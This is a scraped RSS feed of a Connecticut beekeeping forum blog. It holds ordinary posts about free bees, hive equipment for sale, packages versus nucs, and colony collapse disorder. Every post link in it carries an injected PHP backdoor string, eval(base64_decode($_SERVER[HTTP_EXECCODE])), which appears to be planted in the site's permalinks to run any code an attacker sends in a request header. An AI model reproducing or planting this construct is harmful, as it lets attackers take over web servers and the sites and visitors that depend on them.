beeblog » uncategorized http://ct-honey.com/beeblog The Beekeepers' Forum Mon, 09 Mar 2009 13:40:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 FREE BEES http://ct-honey.com/beeblog/2008/03/21/free-bees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/03/21/free-bees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 21 Mar 2008 20:48:19 +0000 qtchic86 http://ct-honey.com/beeblog/?p=133 Hey, It looks like everyone here is pretty interested in getting more bees to add to their collection. I would like to help you out, while at the same time solving my situation as well.

I have a large colony of bees living in the walls of a commercial building in Huntington Beach, CA. If you can come out and remove the bees and their combs, please do so! The bees are yours!

I would just hate to pay someone to come and poison the bees when there is a shortage and all. I had an inspection last week, and these are definitely honey bees, so they’re “good” bees. But the guy said there were too many of them, so he would have to use pesticides and kill them : (

Please don’t let this happen. Let me know if you are willing and able to make the effort to remove my bees LIVE and relocate them somewhere that they can be properly taken care of : )

Thanks!!

qtchic86@yahoo.com

]]> http://ct-honey.com/beeblog/2008/03/21/free-bees/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ IPM Bottom Boards Available http://ct-honey.com/beeblog/2008/02/03/ipm-bottom-boards-available/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/02/03/ipm-bottom-boards-available/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 03 Feb 2008 12:42:20 +0000 Cedarsong http://ct-honey.com/beeblog/?p=128 Hello,

If anyone is interested in Integrated Pest Management (IPM) bottom boards please contact me.

This pest management system is a combination bottom board/hive stand that incorporates galvanized screen instead of a solid bottom board. The mites fall through the screen and are unable to climb back into the hive and onto the bee’s. Studies have shown these boards to work extremely well in reducing the mite count in hives. The added ventilation is also said to aid in brood raising.

The boards are assembled, painted and are located in Connecticut. Local pickup is advised but shipping can be arranged. Boards are $20.00 each. I also make supers in all sizes. You can reach me at this email address - ptartworks@aol.com

Happy Beekeeping!

~Jim
Baby Bear’s Apiary

 EDITOR’S NOTE:

The item above is offered by a beeblog user. The user has no affiliation with the beeblog, ct-honey.com or Stonewall Apiary.  While we encourage users to use the beeblog for virtually any beekeeping-related activity, Stonewall Apiary assumes no responsibility for either side of any transaction that may result from the above ad.

 

 

]]> http://ct-honey.com/beeblog/2008/02/03/ipm-bottom-boards-available/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Packages or Nucs http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 26 Jan 2008 12:16:07 +0000 jjkam http://ct-honey.com/beeblog/?p=127 I want to expand the number of hives I have by 2 or 3.  So far in my brief beekeeping life I have introduced packages (5 hives) and cannot say that I’ve encountered any difficulty in doing so.  However, I was thinking about starting the next 3 hives with nucs.  My reasoning is that the hives will be further along and they won’t have to draw out foundation from the start.  I’m curious as to what the established beekeepers out there do when increasing their bee yards.

Presumably, cost is a factor but I don’t really know how ahead of the game I would be if I picked up a 5 frame nuc for let’s say $30.00 more than a 3 lb. package.  Is that a smart thing to do or wasteful?  What should I be taking into consideration.

I was also thinking about looking for “local” bees or at least Northern bred bees.  Again, I’m thinking they would be hardier for Winter and would not be stressed from the travel often associated with Southern bees.  I’d like to hear comments on this too.

Thanks to anyone for their opinions.

]]> http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Honey Extractor Wanted http://ct-honey.com/beeblog/2007/12/27/honey-extractor-wanted-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/12/27/honey-extractor-wanted-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 27 Dec 2007 14:20:46 +0000 Robber http://ct-honey.com/beeblog/?p=122 Looking for a small used extractor. My daughter only has 2 hives and we need to travel to extract. Thanks, Robber

]]> http://ct-honey.com/beeblog/2007/12/27/honey-extractor-wanted-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Introducing Pollinationsource.com http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 21 Nov 2007 00:54:04 +0000 stuart http://ct-honey.com/beeblog/?p=119 Stonewall Apiary is pleased to announce its newest project, Pollinationsource.com.  The focus of this website will be to connect beekeepers with people seeking pollination services.  Beekeepers of all sizes - hobbyists, sideliners and even commercial beekeepers - can register with the site, listing the types of crops they are willing to pollinate, the number of hives available for pollination, the distance they are willing to travel, as well as their pollination fee.  This information will then be available to people seeking pollination - from gardeners to part-time farmers to large-scale operations.

Check out the site if you have a chance and watch this space for more information.  If you have any feedback about this project, be sure to letus know.

]]> http://ct-honey.com/beeblog/2007/11/20/introducing-pollinationsourcecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Colony Collapse Disorder in Connecticut http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 12 Nov 2007 20:37:50 +0000 stuart http://ct-honey.com/beeblog/?p=118 The Connecticut Agricultural Experiment Station has just published a report on Colony Collapse Disorder (CCD) in Connecticut.  The report contains good news about CCD: despite the presence of CCD in at least 24 states, there are no confirmed cases of it in Connecticut.  The report suggests that this may be due to the fact that the majority of beekeepers in the state are small hobbyists rather than commercial migratory beekeepers.  These beekeeping operations place their colonies under a great deal of stress, possibly making them susceptible to the Israeli Acute Paralysis virus, which has been associated with CCD, although its actual connection to CCD is unknown.

Now, the bad news.  While CCD is not a problem in Connecticut, the preexisting problems of parasitic mites, foulbrood, stress and exposure to pesticide use remain.  As any beekeeper who has lost colonies can attest, these problems can be formidable.

The report ends with the news that new research programs about CCD as well as the other problems that plague beekeepers are now under way in Connecticut.  This is a positive development.  Hopefully, it will yield results that will ensure that the health of the honeybee population in the state does not decline even further.  Maybe it will even result in research that improves the conditions for beekeeping in our state.

]]> http://ct-honey.com/beeblog/2007/11/12/colony-collapse-disorder-in-connecticut/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ A New Book By Glenn Cheney http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 22 Oct 2007 18:05:54 +0000 stuart http://ct-honey.com/beeblog/?p=117 , a new book by Connecticut-based author Glenn Cheney, has just been published.  Cheney, who is also a beekeeper and occasional contributor to the beeblog, describes the Pilgrims’ motivation to emigrate to the New World and the travails they faced during their long and difficult voyage across the Atlantic, as well as their first year in Plymouth.  While it is not directly related to beekeeping, Cheney does manage to weave some beekeeping facts into his fascinating narrative.

Thanksgiving, by Glenn Alan Cheney

Thanksgiving, by Glenn Alan Cheney

Thanksgiving

Thanksgiving is available in both paperback ($15.95) and hardcover ($21.95) editions.  An excellent gift for just about anyone, it is available on the New London Librarium website.  And of course, with Thanksgiving fast approaching, it is a timely gift as well!

]]> http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Girls Vs Boys http://ct-honey.com/beeblog/2007/10/05/girls-vs-boys/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/10/05/girls-vs-boys/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 05 Oct 2007 15:58:55 +0000 Cedarsong http://ct-honey.com/beeblog/?p=115 It’s happening. The annual removal of the boys. I’ve noticed over the past 2 weeks the occasional drone being “escorted” from the hive but yesterday the girls were out in full force. Today they’re still at it…

Where once the boys were greeted with open arms, err, mouths. They are now greeted by less than friendly girls intent of evicting them. Watched as 3 of the boys stood together on the landing pad. They were antennae talking and seemed to be wondering what the heck is going on? “Suzy just bit my wing off!” And it’s not a fair fight. 40 some odd thousand against maybe 60? Bad odds in my book.

But I guess it’s just part of the life of a bee. It’s done in the best interest of the hive. Less lazy boys hanging around, more food to keep the hive alive through the winter.

Going to miss the boys. But they’ll be back!

~Jim 

 

 

]]> http://ct-honey.com/beeblog/2007/10/05/girls-vs-boys/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Late Honey Super http://ct-honey.com/beeblog/2007/09/14/late-honey-super/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/09/14/late-honey-super/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 14 Sep 2007 13:35:02 +0000 rob g http://ct-honey.com/beeblog/?p=114 I have one honey super left that is pretty much filled but has not been capped yet. I have been waiting since Labor Day for the bees to finish it off but it hasn’t happened yet. I know it’s getting late and I want to medicate for winter so what should I do? Should I scrap a full super of “unripened” honey and let the bees rob it? Should I wait a little longer or freeze it for next spring? Any suggestions would be appreciated.

]]> http://ct-honey.com/beeblog/2007/09/14/late-honey-super/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Honey extractor for sale http://ct-honey.com/beeblog/2007/08/29/honey-extractor-for-sale/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/08/29/honey-extractor-for-sale/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 29 Aug 2007 12:18:30 +0000 Cedarsong http://ct-honey.com/beeblog/?p=108 Hello,  have the following for sale. 

M00390 JUNIOR BENCH EXTRACTOR

Junior Bench Extractor. Stainless steel hand powered. Capacity: 2 frames (9 1/8″ deep maximum) per load. SS extracting basket and SS top assembly. Piano style continuously hinged lid. Easily converts to 175-lb, storage container. (Frames must be removed and turned to extract both sides). 1½” plastic honey gate included. Tank: 304 SS, 14″ dia. x 23¼” tall, all MIG welded construction.

The extractor sells for $269.69 on Dadant’s web site. I also have the stand for this extractor. It sells for $56.99. Retail price for both would be 326.98 plus tax and an additional shipping charge from Dadant which would make the purchase price around $400.00.

I have both units, brand new and in the original boxes. And am looking to sell for $275.00. Great deal!

UPDATE - THE EXTRACTOR HAS BEEN SOLD. Thank you.

EDITOR’S NOTE:

The item above is offered by a beeblog user. The user has no affiliation with the beeblog, ct-honey.com or Stonewall Apiary.  While we encourage users to use the beeblog for virtually any beekeeping-related activity, Stonewall Apiary assumes no responsibility for either side of any transaction that may result from the above ad.

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